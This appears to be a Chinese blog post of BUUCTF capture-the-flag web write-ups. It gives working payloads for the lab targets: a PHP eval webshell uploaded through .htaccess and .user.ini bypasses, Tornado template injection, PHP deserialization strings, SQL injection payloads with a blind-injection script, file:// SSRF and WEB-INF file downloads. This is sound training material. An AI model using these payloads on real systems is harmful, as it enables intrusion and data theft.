当前位置: 首页 > news >正文

BUUCTF-Web(21-40)

目录

一.一句话木马

(22)[MRCTF2020]你传你🐎呢

(28)[GXYCTF2019]BabyUpload

(29)[SUCTF 2019]CheckIn

二.模板注入

(23)[护网杯 2018]easy_tornado 

三.强相等&弱相等&反序列

(25)[MRCTF2020]Ez_bypass 

(27)[网鼎杯 2020 青龙组]AreUSerialz

解一:编造序列化(利用public属性序列化,绕过is_valid()函数)

解二:第一种解法 突破ord函数限制,序列化代码 

​编辑

四.SQL注入 

(26)[极客大挑战 2019]HardSQL 

报错注入 

(30)[GXYCTF2019]BabySQli 

联合查询 

(31)[GYCTF2020]Blacklist 

堆叠注入 

(32)[CISCN2019 华北赛区 Day2 Web1]Hack World

布尔盲注 

(35)[网鼎杯 2018]Fakebook

sql+ssrf+序列化+代码审计 

五.文件下载漏洞 

(33)[RoarCTF 2019]Easy Java 

六.文件包含漏洞

(24)[ZJCTF 2019]NiZhuanSiWei

第一层绕过:

第二层绕过: 

第三层绕过:

七.flask session伪造&Unicode 编码欺骗

(21)[HCTF 2018]admin 

非预期解

方法一:flask session伪造

方法二:Unicode 编码欺骗


一.一句话木马

(22)[MRCTF2020]你传你🐎呢

<?php eval($_POST['a']);?>

 直接上传图片木马22.jpg

上传一个.htaccess文件,用来改变文件扩展名

(对于扩展名为 .php、.php3、.php4、.php5、.phtml 和 .pht 的文件,都将其作为 PHP 脚本处理)

因为传入的是jpg文件,我们需要这个解析成php文件。这就需要再传一个.htaccess文件

内容<FilesMatch "22.jpg">指定的是要上传的文件,注意文件名必须相同

<FilesMatch "22.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

或者

SetHandler application/x-httpd-php

注意只是.htaccess,不能22.htaccess(如果是这样,直接在Repeater删掉22再发送,不用重新上传) 

 然后只修改Content-Type:image/jpeg

 

两个文件返回的前面这一串是一样的,但连接蚁剑用/22.jpg,密码就是那个参数a

/upload/ecc3612fa2bb2d3a6c46bcb02a473e4b/22.jpg

 

flag在根目录,但这次不能用终端,输什么命令都是这个无用的返回值
执行 cd 命令和 cat 命令返回 ret=127,这通常表示命令未找到。这可能是因为当前环境变量配置异常,没有正确指向命令所在的目录。

(28)[GXYCTF2019]BabyUpload

 

 

 

 

所以,将php代码修改为 javascript 的形式,并且后缀名为.jpg

 

上传.htaccess(将.jpg解析成.php文件)

SetHandler application/x-httpd-php

修改:Content-Type: image/jpeg 

/upload/fd80b33602816498fb00da99dd04dcf1/12.jpg

url要用内置浏览器重新上传的12.jpg或者.htaccess响应的

  

(29)[SUCTF 2019]CheckIn

 

非法后缀

那就改后缀绕过,通常有phtml php3 php4 php5 Php php (空格) php pphphp

都试试,都不行。

这时候可以用图片上传

上传12.jpg木马,因为就算是png,jpg等图片类型,还会检查文件内容头,所以用GIF89a 

接着上传.htaccess,并修改Content-Type:image/jpeg

结果不行

解一:.user.ini文件构成PHP后门(当我们访问index.php时,.user.ini会自动连接12.jpg,并将其解析成php)

创建.user.ini文件,前面的GIF89a是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测

上传.user.ini,注意只是.user.ini

内容如下:

GIF89a

auto_prepend_file=12.jpg

#GIF89a,绕过检测

#12.jpg要对应上面的木马文件

这个什么也不用改,其实不用抓包

 

上传.user.ini之后,再重新上传一次12.jpg 

两个文件返回是一样的:uploads/9987df285bb375eda68448315c5656e5

加上/index.php

 

解二:命令执行

同样上传12.jpg和.user.ini,一定要保证两个文件同时存在,好像它有时会自己消失

同时加载:uploads/9987df285bb375eda68448315c5656e5/index.php

和post:a=var_dump(scandir("/"));

再post:a=var_dump(file_get_contents("/flag"));

二.模板注入

(23)[护网杯 2018]easy_tornado 

 

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。 

并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)

猜测解题关键点在md5(cookie_secret+md5(filename))这里

首先flag在/fllllllllllllag文件,所以就是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))

现在只缺cookie_secret这个东西,只要有了cookie_secret再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag 

注意题目easy_tornado;tornado是python的一个模板,可以看出这道题是模板注入类的题目

随便改哈希值看看是否有变化

模板注入必须通过传输型如{{xxx}}的执行命令 

handler.settings 中可能包含敏感信息,如数据库连接字符串、API 密钥等,如果 Tornado 模板对用户输入没有进行严格的过滤和验证,攻击者就可能通过模板注入的方式利用 handler.settings 来获取这些敏感信息

爆cookie_secret(每次靶机启动得到的都不一样)

error?msg={{handler.settings}}

得cookie_secret

3d2b0988-996a-496f-8ffe-51128272bec1

md5(/fllllllllllllag)=3bf9f6cf685a6dd8defadabfb41a03a1

所以/fllllllllllllag

cookie_secret+md5(filename)       #filename=/fllllllllllllag

3d2b0988-996a-496f-8ffe-51128272bec13bf9f6cf685a6dd8defadabfb41a03a1

脚本 

md5(cookie_secret+md5(filename))=fb3110fdbb990d6dc15f9bc21eb0a31b

原来的url:/file?filename=/flag.txt&filehash=8a2c8a5ef9d128967bd54dd5a022f19d 

构造:/file?filename=/fllllllllllllag&filehash=fb3110fdbb990d6dc15f9bc21eb0a31b 

三.强相等&弱相等&反序列

(25)[MRCTF2020]Ez_bypass 

查看源码 

 

这里要求md5($id) === md5($gg) && $id !== $gg

这是强相等,数组绕过:?id[]=1&gg[]=2

最后可能会报错,但是null=null,判断为true,成功绕过

 

接着要POST传参 

其中is_numeric() 函数用于检测变量是否为数字或数字字符串。这里要求passwd不是数字或数字字符串时,弱相等判断passwd是否等于1234567

POST传参:passwd=1234567a

(27)[网鼎杯 2020 青龙组]AreUSerialz

<?php// 包含 flag.php 文件
include("flag.php");
// 高亮显示当前文件的源代码,方便调试或查看代码结构
highlight_file(__FILE__);
// 定义一个名为 FileHandler 的类,用于处理文件的读写操作
class FileHandler {// 定义一个受保护的属性 $op,用于存储操作类型(1 表示写操作,2 表示读操作)protected $op;// 定义一个受保护的属性 $filename,用于存储要操作的文件名protected $filename;// 定义一个受保护的属性 $content,用于存储要写入文件的内容protected $content;// 类的构造函数,当创建 FileHandler 类的对象时自动调用function __construct() {// 初始化局部变量 $op 为 "1",但这里的 $op 是局部变量,未赋值给类的属性 $this->op$op = "1";// 初始化局部变量 $filename 为 "/tmp/tmpfile",同样未赋值给类的属性 $this->filename$filename = "/tmp/tmpfile";// 初始化局部变量 $content 为 "Hello World!",未赋值给类的属性 $this->content$content = "Hello World!";// 调用类的 process 方法,处理文件操作$this->process();}// 定义一个公共方法 process,用于根据 $op 的值执行相应的文件操作public function process() {// 如果 $op 的值等于 "1",执行写操作if($this->op == "1") {$this->write();// 如果 $op 的值等于 "2",执行读操作并输出结果} else if($this->op == "2") {$res = $this->read();$this->output($res);// 如果 $op 的值既不是 "1" 也不是 "2",输出错误信息} else {$this->output("Bad Hacker!");}}// 定义一个私有方法 write,用于将 $content 写入 $filename 文件private function write() {// 检查 $filename 和 $content 是否都已设置if(isset($this->filename) && isset($this->content)) {// 检查 $content 的长度是否超过 100 个字符if(strlen((string)$this->content) > 100) {// 如果超过 100 个字符,输出错误信息并终止脚本$this->output("Too long!");die();}// 将 $content 写入 $filename 文件,并返回写入的字节数$res = file_put_contents($this->filename, $this->content);// 如果写入成功,输出成功信息if($res) $this->output("Successful!");// 如果写入失败,输出失败信息else $this->output("Failed!");// 如果 $filename 或 $content 未设置,输出失败信息} else {$this->output("Failed!");}}// 定义一个私有方法 read,用于从 $filename 文件中读取内容private function read() {// 初始化 $res 为空字符串$res = "";// 检查 $filename 是否已设置if(isset($this->filename)) {// 从 $filename 文件中读取内容并赋值给 $res$res = file_get_contents($this->filename);}return $res;}// 定义一个私有方法 output,用于输出操作结果private function output($s) {// 输出结果的 HTML 标签echo "[Result]: <br>";// 输出具体的结果信息echo $s;}// 类的析构函数,当对象被销毁时自动调用function __destruct() {// 如果 $op 的值严格等于 "2",将 $op 的值改为 "1"if($this->op === "2")$this->op = "1";// 将 $content 的值清空$this->content = "";// 调用类的 process 方法,处理文件操作$this->process();}
}
// 定义一个函数 is_valid,用于检查字符串是否只包含 ASCII 码在 32 到 125 之间的字符
function is_valid($s) {// 遍历字符串 $s 中的每个字符for($i = 0; $i < strlen($s); $i++)// 检查当前字符的 ASCII 码是否不在 32 到 125 之间if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))// 如果不在范围内,返回 falsereturn false;// 如果所有字符都在范围内,返回 truereturn true;
}
// 检查是否通过 GET 方法传递了名为 str 的参数
if(isset($_GET{'str'})) {// 将 GET 参数 str 的值转换为字符串并赋值给 $str$str = (string)$_GET['str'];// 检查 $str 是否只包含 ASCII 码在 32 到 125 之间的字符if(is_valid($str)) {// 如果 $str 合法,对其进行反序列化操作$obj = unserialize($str);}
}l

PHP访问修饰符

public  公共的,任何成员都可以访问

private 私有的,只有自己可以访问

绕过方式:%00类名%00成员名

protected 保护的,只有当前类的成员与继承该类的类才能访问

绕过方式:%00%00成员名

PHP关键字

function 用于用户声明自定义函数

$this-> 表示在类本身内部使用本类的属性或者方法

isset 用来检测参数是否存在并且是否具有值

PHP常见函数

include()  包含函数

highlight_file() 函数对文件进行语法高亮显示

file_put_contents() 函数把一个字符串写入文件中

file_get_contents() 函数把整个文件读入一个字符串中

is_valid() 检查对象变量是否已经实例化,即实例变量的值是否是个有效的对象

strlen 计算字符串长度

ord 用于返回 “S” 的 ASCII值,其语法是ord(string),参数string必需,指要从中获得ASCII值的字符串

 

PHP魔法函数

__construct() 实例化对象时被调用

__destruct() 当删除一个对象或对象操作终止时被调用

 

在function __destruct()中,op变量使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1

无论2或1,都会将 $content 的值清空,调用类的 process 方法,处理文件操作

 

在process()方法中,使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。在read()方法中,使用file_get_contents()函数来读取属性filename路径的文件。 

 

解一:编造序列化(利用public属性序列化,绕过is_valid()函数)

突破protected访问修饰符限制,这个关键点是将受保护的对象转换成公共对象

<?php
class FileHandler{public $op = 2;public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";public $content;
}
$obj = new FileHandler();
echo serialize($obj);
?>

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
最后再base64解码

或者直接保留protectded 

<?php
class FileHandler {protected $op = 2;protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';protected $content;
}
$baimao = serialize(new FileHandler());
echo $baimao;
?>

 删除乱码并减去相应长度,和上面其实是一样的

解二:第一种解法 突破ord函数限制,序列化代码 

<?php
class FileHandler {protected $op = 2;protected $filename = 'flag.php';protected $content;
}
$bai = urlencode(serialize(new FileHandler())); 
//URL编码实例化后的类FileHandler序列化结果
$mao = str_replace('%00', "\\00", $bai); 
//str_replace函数查找变量bai里面的数值%00并将其替换为\\00
$mao = str_replace('s', 'S', $mao); 
//str_replace函数查找变量mao里面的数值s并将其替换为S
echo $mao;
?>

 

最后查看源码

 

四.SQL注入 

(26)[极客大挑战 2019]HardSQL 

报错注入 

用户名:admin

密码:

'

error

'#

NO,Wrong username password!!!

判断为'字符型注入,并且用户名和密码都是注入点

但无论怎么注入,都是下面这个页面

fuzz测试一下,双写也被过滤掉了,同时空格select,=,union,#也被过滤了

  

状态码200的都被过滤了?

用()括号来绕过空格,括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格 

报错注入(%27:单引号字符',%23:#)其实'没有被过滤,不编码也行,但#被过滤了,-- q也被过滤了

username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

查数据库:

/check.php?username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

(updatexml(1,concat(0x7e,database(),0x7e),1))

updatexml 函数:这是 MySQL 数据库中的一个函数,其语法为 UPDATEXML(xml_document, xpath_expr, new_value),用于更新 XML 文档中符合 XPath 表达式的节点的值。如果 xpath_expr 是一个无效的 XPath 表达式,该函数会抛出一个错误,并且错误信息会包含第二个参数的内容。

concat(0x7e,database(),0x7e):

concat 是 SQL 中的字符串拼接函数。

0x7e 是十六进制表示的 ASCII 码,对应的字符是波浪号 ~

database() 是 MySQL 的一个内置函数,用于返回当前使用的数据库名。

所以 concat(0x7e,database(),0x7e) 的作用是将当前数据库名用波浪号 ~ 包裹起来,例如如果当前数据库名是 test_db,拼接后的结果就是 ~test_db~。

由于 1 作为第一个参数传递给 updatexml 不是一个有效的 XML 文档,而 concat(0x7e,database(),0x7e) 也不是一个有效的 XPath 表达式,因此 updatexml 函数会抛出错误,错误信息中会包含当前数据库名。

查表

/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

information_schema.tables 是 MySQL 系统自带的一个元数据信息表,它存储了数据库中所有表的相关信息。

table_schema 是 information_schema.tables 表中的一个字段,用于表示表所属的数据库名。

group_concat(table_name) 函数将查询结果中符合条件的 table_name 字段值连接成一个字符串,不同的值之间用逗号分隔。

整个子查询的作用是从 information_schema.tables 表中筛选出属于当前数据库的所有表名,并将这些表名连接成一个字符串。

查字段

/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1

group_concat(column_name) 函数将查询结果中符合条件的 column_name 字段值连接成一个字符串,不同的值之间用逗号分隔。

整个子查询的作用是从 information_schema.columns 表中筛选出属于当前数据库的所有列名,并将这些列名连接成一个字符串。

得到id,username,password继续查询值

/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1

XPATH syntax error: '~1flagflag{6e083b3a-b3b1-443e-86'

发现flag并没有完全显示

用right()查询后面部分

/check.php?username=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

XPATH syntax error: '~1-443e-865f-bf4c6146eb89}~'

或者

/check.php?username=admin&password=1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23

所以存在两个注入点username和password,而且完全一样

XPATH syntax error: '~1flagflag{6e083b3a-b3b1-443e-86'

XPATH syntax error: '~1-443e-865f-bf4c6146eb89}~'

flag{6e083b3a-b3b1-443e-865f-bf4c6146eb89}

(30)[GXYCTF2019]BabySQli 

联合查询 

 

密码无论是'#还是',都是wrong pass!,无法判断数字还是字符型

查看源码 

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

没有小写字母,Base32解码

再base64解码

select * from user where username = '$name'

得出此题的注入点是参数name

先判断注入点

后判断注入类型

使用弱密码123 

 

 

很明显注入类型为字符型'注入 

 先试一下万能密码,do not hack me!猜测or关键字或=字符被过滤了

 

那就联合查询:'union select 1,2#

'union select 1,2,3# 

 

所以字段数(也叫列数)为3

判断用户所在列

'union select 'admin',2,3#

wrong user!

'union select 1,'admin',3#

wrong pass!

'union select 1,2,'admin'#

wrong user!

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列.

大胆猜测 是 id admin pwd

在search.php源代码哪里发现关键代码 

if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}

 首先,arr[1]=”admin”,其次参数password被md5加密要与arr[2]相同才输出flag

 

'union select 1,'admin','202cb962ac59075b964b07152d234b70'#

123

 

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

所以,如果我们使用联合查询访问,一个真实存在的用户名和一个我们自己编造的密码,就会使虚拟数据混淆admin密码,从而使我们成功登录,得到 flag

(31)[GYCTF2020]Blacklist 

堆叠注入 

和(9)[强网杯 2019]随便注类型一样

直接万能密码'or 1#

有回显,说明存在注入,且是'字符型类型

 1;set sql_mode=pipes_as_concat;select 1

发现set|prepare|alter|rename|select|update|delete|drop|insert|where|都被过滤了

select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。只剩下了堆叠注入

爆数据库:1';show databases;#

爆表名:1'; show tables;#

爆字段:1'; show columns from FlagHere;#

由于set|prepare|alter|rename|select|update|delete|drop|insert|where|都被过滤了,大小写,双写绕过都试了不行,只剩handler命令

1'; handler FlagHere open as `a`; handler `a` read next;#

或者

1'; handler FlagHere open as a; handler a read next;#

或者

'; handler FlagHere open as a; handler a read next;#

或者

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

或者

';handler FlagHere open;handler FlagHere read first;#

(32)[CISCN2019 华北赛区 Day2 Web1]Hack World

布尔盲注 

 

提示sql注入

0

Error Occured When Fetch Result.

1

Hello, glzjin wants a girlfriend.

2

Do you want to be my girlfriend?

3、4...

Error Occured When Fetch Result.

'or 1#

SQL Injection Checked.

select

bool(false)

All You Want Is In Table 'flag' and the column is 'flag'

Now, just give the id of passage

使用中括号()代替空格,不然报:SQL Injection Checked.

常规盲注测试,都无需查库查表查字段了,都给出来,直接查flag内容

id=(select(ascii(mid(flag,1,1))=102)from(flag))

从名为 flag 的表中提取 flag 列的第一个字符,将其转换为 ASCII 码,然后检查这个 ASCII 码是否等于 102(字符 'f' 的 ASCII 码值),最后返回检查结果,结果为布尔值ture(1),false(0)

mid() 是一个字符串函数,用于从指定字符串中提取子字符串。其语法为 mid(str, start, length),其中 str 是要处理的字符串,start 是开始提取的位置(从 1 开始计数),length 是要提取的字符数量。

在代码中的作用:在这个代码里,mid(flag,1,1) 表示从 flag 列的值中提取第一个字符

ascii(mid(flag,1,1))

函数功能:ASCII() 是一个字符函数,用于返回指定字符串的第一个字符的 ASCII 码值。其语法为 ASCII(str),其中 str 是要处理的字符串。

在代码中的作用:在这个代码里,ascii(mid(flag,1,1)) 表示将 mid(flag,1,1) 提取的第一个字符转换为对应的 ASCII 码值。例如,如果 mid(flag,1,1) 返回 'f',那么 ascii(mid(flag,1,1)) 会返回 102,因为字符 'f' 的 ASCII 码值是 102。

ascii(mid(flag,1,1))=102

功能:这是一个比较表达式,用于检查 ascii(mid(flag,1,1)) 返回的 ASCII 码值是否等于 102。如果相等,返回 true(在 MySQL 中通常表示为 1);如果不相等,返回 false(在 MySQL 中通常表示为 0)

select(ascii(mid(flag,1,1))=102)from(flag)

整体功能:这是一个完整的 SQL 查询语句,用于从 flag 表中选择 (ascii(mid(flag,1,1))=102) 这个表达式的结果。最终查询结果会返回一个包含布尔值(1 或 0)的列。

判断为布尔盲注(blind),一定要在kali执行脚本,不然flag不完整 

import requests
import stringdef blind_injection(url):flag = ''strings = string.printablefor num in range(1, 60):for i in strings:payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num, ord(i))#print(payload)post_data = {"id": payload}res = requests.post(url=url, data=post_data)if 'Hello' in res.text:flag += iprint(flag)breakelse:continueprint(flag)if __name__ == '__main__':url = 'http://31cd6005-b7f1-4ff0-8438-23b847c42baa.node5.buuoj.cn:81/index.php'blind_injection(url)
import requests# 导入 requests 库,用于发送 HTTP 请求
import string# 导入 string 库,该库包含了各种字符串常量,如字母、数字、标点符号等# 定义一个名为 blind_injection 的函数,该函数接受一个 URL 作为参数
# 此函数的作用是通过盲注的方式从目标网站获取 flag 信息
def blind_injection(url):# 初始化一个空字符串 flag,用于存储最终获取到的 flag 内容flag = ''# 使用 string.printable 获取所有可打印的 ASCII 字符,包括字母、数字、标点符号和空格等# 具体 ASCII 范围# 数字:0 到 9 的 ASCII 码范围是 48 到 57。# 大写字母:A 到 Z 的 ASCII 码范围是 65 到 90。# 小写字母:a 到 z 的 ASCII 码范围是 97 到 122。# 标点符号和其他可打印字符:涵盖了 ASCII 码从 32 到 126 的字符,其中 32 代表空格。strings = string.printable# 外层循环,用于遍历 flag 中的每个字符位置,从第 1 个字符开始,最多尝试 59 个字符for num in range(1, 60):# 内层循环,遍历所有可打印字符for i in strings:# 通过 ascii 函数将 flag 中第 num 个字符转换为 ASCII 码,并与当前遍历的字符 i 的 ASCII 码进行比较# 如果相等,则返回 1,否则返回 0payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num, ord(i))# 构造 POST 请求的数据,将构造好的 payload 作为 id 参数的值post_data = {"id": payload}# 使用 requests 库发送 POST 请求到指定的 URL,并携带构造好的 POST 数据res = requests.post(url=url, data=post_data)# 检查响应文本中是否包含 'Hello' 字符串# 如果包含,说明当前尝试的字符 i 是 flag 中第 num 个位置的字符if 'Hello' in res.text:# 将当前找到的字符添加到 flag 字符串中flag += i# 打印当前已经获取到的部分 flag 内容print(flag)break#终止此次内层循环,继续下一个位置字符的猜测# 如果响应文本中不包含 'Hello' 字符串,则跳过当前字符,继续尝试下一个字符else:continueprint(flag)
if __name__ == '__main__':url = 'http:....../index.php'blind_injection(url)

(35)[网鼎杯 2018]Fakebook

sql+ssrf+序列化+代码审计 

blog:博客

join:加入/注册

xwj

123

18

bai.com

 

点击xwj跳转 

存在注入点no

no=1 order by 4

1、2、3、4还是那个页面,没反应

no=1 order by 5

报错了,说明列数为4

而且爆出路径/var/www/html

no=-1 union select 1,2,3,4

为何使用 id=-1 而非 id=1?为了避免结果重复

UNION 操作符的作用是将两个或多个 SELECT 语句的结果集合并成一个结果集,并且会自动去除重复的行。如果上面的查询中两个子查询的 id 都为 1,并且其他列的值也可能存在重复情况,那么 UNION 会自动过滤掉这些重复的行,最终结果集里就不会包含重复的行。

例如,假设第一个查询返回的结果是 (1, a, b, c, d, e),第二个查询构造的数据是 (1, 2, 3, 4, 5, 6),如果 id 都是 1 且其他列组合也有重复可能,UNION 会过滤掉重复的部分。而使用 id=-1 可以确保第二个查询的结果与第一个查询的结果不会因为 id 相同而被误认为是重复行,这样两个查询的结果都会完整地出现在最终的结果集中

no hack,可能union select的空格被过滤了 

(union select)用/**/代替空格

no=-1 union/**/select 1,2,3,4

no=-1 union(select 1,2,3,4)

注意到有反序列化函数,回显位是2

爆表名,得users

no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆字段/列,得no,username,passwd,data

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

爆数据

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

1xwj3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:3:"xwj";s:3:"age";i:18;s:4:"blog";s:7:"bai.com";}

robots.txt查出源码 

下载/user.php.bak 

或者直接用url备份文件扫描脚本

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

说明注册时会序列化我们的信息,回显到页面时再反序列化。
这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf
修改自己最后blog字段内容,改为file:///var/www/html/flag.php,并把对应的s改为对应长度29 

什么是SSRF?

举例 : A网站,是一个所有人都可以访问的外网网站;B网站是一个他们内部的OA网站。

所以,普通用户只能访问a网站,不能访问b网站。但我们可以通过a网站,访问b网站,从而达到攻击b网站需求。因为b网站服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。这也是SSRF 形成的原因

data字段在第4位,所以放在第4位。

O:8:"UserInfo":3:{s:4:"name";s:3:"xwj";s:3:"age";i:18;s:4:"blog";s:7:"bai.com";}

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"xwj";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

查看源码,并点击连接 

刷新之后再查看源码

 

解二:

因为sql注入没有过滤load_file,直接取得flag

no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

查看源码

 

解三:不用爆序列化数据,可以自己构造

从报错信息来看,回显位置是2,而且这里的数据都被进行了序列化,爆出路径/var/www/html

/*/user.php.bak */<?php/*** UserInfo 类用于存储用户信息,并提供获取博客内容和验证博客 URL 有效性的功能。*/
class UserInfo
{// 定义公共属性 $name,用于存储用户的姓名,初始值为空字符串public $name = "";// 定义公共属性 $age,用于存储用户的年龄,初始值为 0public $age = 0;// 定义公共属性 $blog,用于存储用户博客的 URL,初始值为空字符串public $blog = "";/*** 构造函数,用于初始化 UserInfo 类的实例。** @param string $name 用户的姓名* @param int|string $age 用户的年龄,会被强制转换为整数类型* @param string $blog 用户博客的 URL*/public function __construct($name, $age, $blog){// 将传入的 $name 参数赋值给当前对象的 $name 属性$this->name = $name;// 将传入的 $age 参数强制转换为整数类型,并赋值给当前对象的 $age 属性$this->age = (int)$age;// 将传入的 $blog 参数赋值给当前对象的 $blog 属性$this->blog = $blog;}/*** 发送 HTTP GET 请求到指定的 URL,并返回响应内容。* 如果请求的 URL 返回 404 状态码,则返回 404。** @param string $url 要请求的 URL* @return string|int 请求成功时返回响应内容,请求的 URL 返回 404 状态码时返回 404*/function get($url){// 初始化一个 cURL 会话$ch = curl_init();// 设置 cURL 选项,指定要请求的 URLcurl_setopt($ch, CURLOPT_URL, $url);// 设置 cURL 选项,让 curl_exec() 函数返回响应内容而不是直接输出curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// 执行 cURL 请求,并将响应内容赋值给 $output 变量$output = curl_exec($ch);// 获取 cURL 请求的 HTTP 状态码$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);// 如果 HTTP 状态码为 404,表示请求的资源不存在if($httpCode == 404) {// 返回 404return 404;}// 关闭 cURL 会话curl_close($ch);// 返回响应内容return $output;}/*** 获取用户博客的内容。** @return string|int 调用 get 方法获取博客内容,返回响应内容或 404*/public function getBlogContents (){// 调用 get 方法,传入用户博客的 URL,返回博客内容或 404return $this->get($this->blog);}/*** 验证用户博客的 URL 是否有效。** @return int 返回 1 表示 URL 有效,返回 0 表示 URL 无效*/public function isValidBlog (){// 获取当前对象的 $blog 属性值$blog = $this->blog;// 使用正则表达式验证 $blog 是否为有效的 URL// 正则表达式匹配规则:可以是带或不带 http(s) 协议头的标准 URLreturn preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}
}

get函数中有出现curl_exec(),存在ssrf,且没有过滤。curl可用file协议,blog属性调用了get函数,所以这里使用file协议读取文件。file:///var/www/html/flag.php 

编写脚本进行序列化 

<?php
class UserInfo{public $name = 'xwj';public $age = 18;public $blog = "file:///var/www/html/flag.php"; 
}
$obj = new UserInfo();
echo serialize($obj);
?>

O:8:"UserInfo":3:{s:4:"name";s:3:"xwj";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";} 

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"xwj";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";} 

其实和上面那个是一样的

五.文件下载漏洞 

(33)[RoarCTF 2019]Easy Java 

 

查看源代码,尝试sql注入,都没有收获

文件下载漏洞

Download?filename={help.docx}

尝试用POST方式来进行请求:filename={help.docx},下载了一个help.docx的文件 

打开文档也没有什么有用信息 

先加载url:Download?filename=/WEB-INF/web.xml

再POST传参:Download?filename={/WEB-INF/web.xml}

或者filename={/WEB-INF/web.xml}

 

下载了之后内容如上图,并且里面显示了一个/Flag

读取class文件,应该是从web.xml里面推测出来classes下面的文件,从而进行读取对应的.class文件

先加载:/Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

再POST传参

filename={/WEB-INF/classes/com/wm/ctf/FlagController.class}

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class 表示 FlagController 类的字节码文件所在的路径。在 Java Web 应用中,/WEB - INF/classes 目录通常用于存放编译后的类文件。

结合前面的 web.xml 配置,FlagController 类被配置为一个 Servlet,并且映射到了 /Flag URL 模式。这意味着当用户在浏览器中访问该 Web 应用的 /Flag 路径时,服务器会加载并执行 com.wm.ctf.FlagController 类中的相应方法来处理请求。具体的处理逻辑需要查看 FlagController 类的 Java 源代码,它可能包含处理 HTTP 请求(如 doGet、doPost 方法)、与数据库交互、返回响应等功能。 

用java打开

 

WEB-INF/web.xml泄露:

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

WEB-INF主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

